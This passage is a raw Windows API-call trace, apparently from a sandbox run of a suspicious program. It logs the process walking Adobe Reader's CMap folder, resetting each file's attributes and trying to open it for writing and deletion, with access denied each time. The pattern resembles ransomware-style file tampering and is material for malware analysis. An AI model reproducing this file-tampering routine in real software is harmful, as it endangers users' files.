_Source="90ms-RKSJ-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V" [0165.963] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-v")) returned 0x20 [0165.963] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V", dwFileAttributes=0x20) returned 0 [0165.963] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.963] GetLastError () returned 0x5 [0165.963] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V", dwFileAttributes=0x20) returned 0 [0165.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0165.964] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="90msp-RKSJ-H", cAlternateFileName="90MSP-~1")) returned 1 [0165.964] wcscmp (_String1="90msp-RKSJ-H", _String2=".") returned 1 [0165.964] wcscmp (_String1="90msp-RKSJ-H", _String2="..") returned 1 [0165.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c221b0 [0165.964] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.964] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.964] wcscat (in: _Dest=0x42c221b0, _Source="90msp-RKSJ-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-H" [0165.964] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90msp-rksj-h")) returned 0x20 [0165.965] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-H", dwFileAttributes=0x20) returned 0 [0165.965] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90msp-rksj-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.965] GetLastError () returned 0x5 [0165.965] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-H", dwFileAttributes=0x20) returned 0 [0165.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0165.965] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1154, dwReserved0=0x0, dwReserved1=0x0, cFileName="90msp-RKSJ-V", cAlternateFileName="90MSP-~2")) returned 1 [0165.965] wcscmp (_String1="90msp-RKSJ-V", _String2=".") returned 1 [0165.965] wcscmp (_String1="90msp-RKSJ-V", _String2="..") returned 1 [0165.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c221b0 [0165.966] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.966] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.966] wcscat (in: _Dest=0x42c221b0, _Source="90msp-RKSJ-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-V" [0165.966] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90msp-rksj-v")) returned 0x20 [0165.966] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-V", dwFileAttributes=0x20) returned 0 [0165.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90msp-rksj-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.966] GetLastError () returned 0x5 [0165.967] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-V", dwFileAttributes=0x20) returned 0 [0165.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0165.967] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x202f, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-H", cAlternateFileName="90PV-R~1")) returned 1 [0165.967] wcscmp (_String1="90pv-RKSJ-H", _String2=".") returned 1 [0165.967] wcscmp (_String1="90pv-RKSJ-H", _String2="..") returned 1 [0165.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c221b0 [0165.967] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.967] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.967] wcscat (in: _Dest=0x42c221b0, _Source="90pv-RKSJ-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-H" [0165.967] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-h")) returned 0x20 [0165.971] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-H", dwFileAttributes=0x20) returned 0 [0165.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.971] GetLastError () returned 0x5 [0165.971] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-H", dwFileAttributes=0x20) returned 0 [0165.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0165.972] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73e, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-UCS2", cAlternateFileName="90PV-R~2")) returned 1 [0165.972] wcscmp (_String1="90pv-RKSJ-UCS2", _String2=".") returned 1 [0165.972] wcscmp (_String1="90pv-RKSJ-UCS2", _String2="..") returned 1 [0165.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c30ef0 [0165.972] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.972] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.972] wcscat (in: _Dest=0x42c30ef0, _Source="90pv-RKSJ-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2" [0165.972] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-ucs2")) returned 0x20 [0165.972] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2", dwFileAttributes=0x20) returned 0 [0165.972] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-ucs2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.973] GetLastError () returned 0x5 [0165.973] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2", dwFileAttributes=0x20) returned 0 [0165.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0165.973] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x190bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-UCS2C", cAlternateFileName="90PV-R~3")) returned 1 [0165.973] wcscmp (_String1="90pv-RKSJ-UCS2C", _String2=".") returned 1 [0165.973] wcscmp (_String1="90pv-RKSJ-UCS2C", _String2="..") returned 1 [0165.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30ef0 [0165.973] wcscpy (in: _Dest=0x42c30ef0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.973] wcscat (in: _Dest=0x42c30ef0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.973] wcscat (in: _Dest=0x42c30ef0, _Source="90pv-RKSJ-UCS2C" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2C") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2C" [0165.973] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-ucs2c")) returned 0x20 [0165.974] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2C", dwFileAttributes=0x20) returned 0 [0165.974] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-ucs2c"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.974] GetLastError () returned 0x5 [0165.974] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2C", dwFileAttributes=0x20) returned 0 [0165.974] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30ef0) returned 1 [0165.974] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3de5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-RKSJ-H", cAlternateFileName="ADD-RK~1")) returned 1 [0165.974] wcscmp (_String1="Add-RKSJ-H", _String2=".") returned 1 [0165.974] wcscmp (_String1="Add-RKSJ-H", _String2="..") returned 1 [0165.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x42c221b0 [0165.975] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.975] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.975] wcscat (in: _Dest=0x42c221b0, _Source="Add-RKSJ-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-H" [0165.975] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\add-rksj-h")) returned 0x20 [0165.976] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-H", dwFileAttributes=0x20) returned 0 [0165.976] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\add-rksj-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.977] GetLastError () returned 0x5 [0165.977] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-H", dwFileAttributes=0x20) returned 0 [0165.977] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0165.977] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-RKSJ-V", cAlternateFileName="ADD-RK~2")) returned 1 [0165.977] wcscmp (_String1="Add-RKSJ-V", _String2=".") returned 1 [0165.977] wcscmp (_String1="Add-RKSJ-V", _String2="..") returned 1 [0165.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x42c221b0 [0165.977] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.977] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.977] wcscat (in: _Dest=0x42c221b0, _Source="Add-RKSJ-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-V" [0165.978] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\add-rksj-v")) returned 0x20 [0165.978] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-V", dwFileAttributes=0x20) returned 0 [0165.978] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\add-rksj-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.978] GetLastError () returned 0x5 [0165.978] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-V", dwFileAttributes=0x20) returned 0 [0165.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0165.978] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-0", cAlternateFileName="ADFD7E~1")) returned 1 [0165.978] wcscmp (_String1="Adobe-CNS1-0", _String2=".") returned 1 [0165.978] wcscmp (_String1="Adobe-CNS1-0", _String2="..") returned 1 [0165.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c221b0 [0165.979] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.979] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.979] wcscat (in: _Dest=0x42c221b0, _Source="Adobe-CNS1-0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-0" [0165.979] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-0")) returned 0x20 [0165.979] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-0", dwFileAttributes=0x20) returned 0 [0165.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-0"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.979] GetLastError () returned 0x5 [0165.979] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-0", dwFileAttributes=0x20) returned 0 [0165.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0165.980] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x107a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-1", cAlternateFileName="AD1410~1")) returned 1 [0165.980] wcscmp (_String1="Adobe-CNS1-1", _String2=".") returned 1 [0165.980] wcscmp (_String1="Adobe-CNS1-1", _String2="..") returned 1 [0165.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c221b0 [0165.980] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0165.980] wcscat (in: _Dest=0x42c221b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0165.980] wcscat (in: _Dest=0x42c221b0, _Source="Adobe-CNS1-1" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-1") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-1" [0165.980] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-1")) returned 0x20 [0165.981] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-1", dwFileAttributes=0x20) returned 0 [0165.982] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-1"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0165.982] GetLastError () returned 0x5 [0165.982] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-1", dwFileAttributes=0x20) returned 0 [0165.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c221b0) returned 1 [0165.982] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-2", cAlternateFileName="ADC905~1")) returned 1 [0165.982] wcscmp (_String1="Adobe-CNS1-2", _String2=".") returned 1 [0165.982] wcscmp (_String1="Adobe-CNS1-2", _String2="..") returned 1 [0165.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x42c221b0 [0165.983] wcscpy (in: _Dest=0x42c221b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 